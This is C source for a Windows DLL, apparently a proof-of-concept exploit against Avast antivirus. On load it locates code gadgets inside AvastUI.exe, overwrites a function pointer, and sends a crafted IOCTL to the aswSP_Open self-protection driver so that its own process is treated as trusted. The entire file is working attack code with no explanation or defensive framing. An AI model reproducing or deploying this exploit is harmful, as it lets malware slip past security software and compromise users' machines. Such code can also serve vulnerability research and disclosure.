#define UNICODE
#define _UNICODE
#include <windows.h>
#include <tchar.h>
#include <strsafe.h>
#include <winternl.h>
#pragma comment( lib, "user32" )
PBYTE memmem( PBYTE haystack, SIZE_T hlen, PBYTE needle, SIZE_T nlen )
{
BYTE needle_first;
PBYTE p = haystack;
SIZE_T plen = hlen;
if ( !nlen )
return NULL;
needle_first = *needle;
while ( plen >= nlen && ( p = memchr( p, needle_first, plen - nlen + 1 ) ) )
{
if ( !memcmp( p, needle, nlen ) )
return p;
p++;
plen = hlen - ( p - haystack );
}
return NULL;
}
BOOL GetSectionInfo( PBYTE pModule, PBYTE szSectionName, PBYTE *ppSection, PDWORD pdwSectionSize )
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADERS pNTHeaders;
PIMAGE_OPTIONAL_HEADER pOptionalHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
UINT i;
*ppSection = NULL;
*pdwSectionSize = 0;
pDOSHeader = ( PIMAGE_DOS_HEADER )pModule;
if ( IMAGE_DOS_SIGNATURE != pDOSHeader->e_magic )
return FALSE;
pNTHeaders = ( PIMAGE_NT_HEADERS )( pModule + pDOSHeader->e_lfanew );
if ( IMAGE_NT_SIGNATURE != pNTHeaders->Signature )
return FALSE;
pOptionalHeader = ( PIMAGE_OPTIONAL_HEADER )( &pNTHeaders->OptionalHeader );
if ( IMAGE_NT_OPTIONAL_HDR_MAGIC != pOptionalHeader->Magic )
return FALSE;
pSectionHeader = ( PIMAGE_SECTION_HEADER )( ( PBYTE )pOptionalHeader + pNTHeaders->FileHeader.SizeOfOptionalHeader );
for ( i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++ )
{
if ( strcmp( pSectionHeader->Name, szSectionName ) == 0 )
{
DWORD dwSize = pSectionHeader->Misc.VirtualSize;
if ( dwSize % pOptionalHeader->SectionAlignment != 0 )
dwSize += pOptionalHeader->SectionAlignment - ( dwSize % pOptionalHeader->SectionAlignment );
*ppSection = pModule + pSectionHeader->VirtualAddress;
*pdwSectionSize = dwSize;
_tprintf( _T( "[?] %S: 0x%08Ix 0x%08x\n" ), pSectionHeader->Name, *ppSection, *pdwSectionSize );
return TRUE;
}
}
return FALSE;
}
/*
.text:005E0BCD A1 F8 14 71 00 mov eax, dword_7114F8
.text:005E0BD2 85 C0 test eax, eax
.text:005E0BD4 74 0E jz short loc_5E0BE4
.text:005E0BD6 8D 4D D0 lea ecx, [ebp+var_30]
.text:005E0BD9 51 push ecx
.text:005E0BDA 6A 03 push 3
.text:005E0BDC FF D0 call eax ; dword_7114F8
*/
static BYTE g_pbTrampoline[] = { 0x85, 0xc0, 0x74, 0x0e, 0x8d, 0x4d, 0xd0, 0x51, 0x6a, 0x03, 0xff, 0xd0 };
static BYTE g_pbInt3Return[] = { 0xcc, 0xc3 };
__declspec( naked ) DWORD UserModeAPCFunction( )
{
__asm
{
//int 3
mov eax, dword ptr [esp + 10h]
test eax,eax
jz skip
mov dword ptr [eax], 41414141h
skip:
xor eax,eax
add esp, 0Ch
ret
}
}
VOID SPExploit( VOID )
{
HMODULE hModule;
HANDLE hDevice = INVALID_HANDLE_VALUE;
TCHAR szDebug[0x40] = { 0 };
DWORD dwPid, dwBytesReturned = 0, dwSectionSize = 0;
BYTE pbBuffer[0x19] = { 0 };
PBYTE pSection = NULL;
DWORD_PTR dwpGadget[2] = { 0, 0 };
PDWORD_PTR pdwpPointerInDataSection = NULL;
hModule = GetModuleHandle( _T( "AvastUI.exe" ) );
if ( NULL == hModule )
{
if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
_T( "[-] GetModuleHandle() failed (0x%08x)\n" ),
GetLastError() ) ) )
OutputDebugString( szDebug );
return;
}
if ( FALSE == GetSectionInfo( ( PBYTE )hModule, ".text", &pSection, &dwSectionSize ) )
{
OutputDebugString( _T( ".text section not found\n" ) );
return;
}
dwpGadget[0] = ( DWORD_PTR )memmem( pSection, dwSectionSize, g_pbInt3Return, sizeof( g_pbInt3Return ) );
dwpGadget[1] = ( DWORD_PTR )memmem( pSection, dwSectionSize, g_pbTrampoline, sizeof( g_pbTrampoline ) );
dwpGadget[1] -= 5;
pdwpPointerInDataSection = *( PDWORD_PTR * )( ( PBYTE )( dwpGadget[1] ) + 1 );
*pdwpPointerInDataSection = ( DWORD_PTR )UserModeAPCFunction;
hDevice = CreateFile( _T( "\\\\.\\aswSP_Open" ),
MAXIMUM_ALLOWED,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL );
if ( INVALID_HANDLE_VALUE == hDevice )
{
if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
_T( "[-] CreateFile() failed (0x%08x)\n" ),
GetLastError() ) ) )
OutputDebugString( szDebug );
return;
}
*( PDWORD )( &pbBuffer[0] ) = 0x7370746d;
*( PDWORD )( &pbBuffer[4] ) = dwPid = GetCurrentProcessId();
pbBuffer[8] = 1;
*( PDWORD_PTR )( &pbBuffer[9] ) = dwpGadget[1];
*( PDWORD )( &pbBuffer[0xd] ) = dwPid;
*( PDWORD_PTR )( &pbBuffer[0x11] ) = dwpGadget[0]; //never used?
*( PDWORD )( &pbBuffer[0x15] ) = dwPid;
if ( FALSE == DeviceIoControl( hDevice,
0xb2d60198,
pbBuffer,
sizeof( pbBuffer ),
NULL,
0,
&dwBytesReturned,
NULL ) )
{
if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
_T( "[-] DeviceIoControl() failed (0x%08x)\n" ),
GetLastError() ) ) )
OutputDebugString( szDebug );
}
if ( SUCCEEDED( StringCchPrintf( szDebug, _countof( szDebug ),
_T( "ProcessId %d should now be trusted!\n" ),
dwPid ) ) )
MessageBox( NULL, szDebug, _T( "SPExploit" ), MB_OK | MB_ICONINFORMATION );
CloseHandle( hDevice );
ExitProcess( 0 );
}
BOOL APIENTRY DllMain( HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpReserved )
{
if ( fdwReason == DLL_PROCESS_ATTACH )
{
SPExploit();
}
return TRUE;
}